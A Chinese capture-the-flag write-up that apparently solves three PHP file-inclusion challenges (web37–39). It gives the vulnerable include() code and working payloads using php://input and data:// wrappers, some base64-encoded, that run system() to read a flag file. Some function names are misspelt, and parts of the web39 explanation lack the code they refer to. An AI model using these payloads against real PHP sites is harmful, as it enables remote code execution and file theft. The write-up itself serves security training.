37-39 基于 GET 传参的 include()
38、39 是 37 的变种
分析
伪协议常用于文件包含漏洞中
文件包含函数有:include、include_once、require、require_once、
highlight_fire、show_source、
fire_get_contents、fopen、file、readfire
web37
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
ctf中常用 php://filter 与 php://input ,但由于flag被屏蔽,这里使用php://input
payload
法一 使用 php://input 伪协议 get c=php://input post <?=system('cat flag.php')?>法二 使用 data:// 伪协议 c=data://text/plain,<?php system("tac fl*g.php");?> //对 flag 进行通配符匹配 c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg== //使用base64对 <?php system('cat flag.php')?> 进行编码
web38
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
在 web37 的基础上屏蔽 php、file
payload
//使用 data:// 伪协议 变一 使用 base64 编码 c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg== 变二 利用php短标签替换长标签,通配符代替 php c=data://text/plain,<?=system('cat f*')?>
web39
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
在 web37 的基础上拼接 .php,想达到屏蔽 .php 的效果,但在实际情况下根本没有达到预期的效果
原因
代码
输出结果
又或者
结果还是一致
说明,使用字符拼接时,会先进行计算
验证猜想
发现一个bug,这里对 $q-$w 取绝对值,并无视了后续内容
对后面部分加上括号,结果正常
添加字母,为了更好的区分,这里很明显,对 $q-$w 取绝对值, ' T'.$q+$w 内容不显示
加上括号正常显示,对于这个意外的情况,我暂时解释不了
对于我们的题目是先进行赋值,在进行字符拼接,因此和 web37 并无二异,payload 与 web37 一致
c=data://text/plain,<?php system("cat fl*g.php");?> include($c.".php");
参考
https://blog.csdn.net/m0_51507437/article/details/122777966
标签:__,web,39,include,GET,37,flag,php,data From: https://www.cnblogs.com/IFS-/p/17133170.html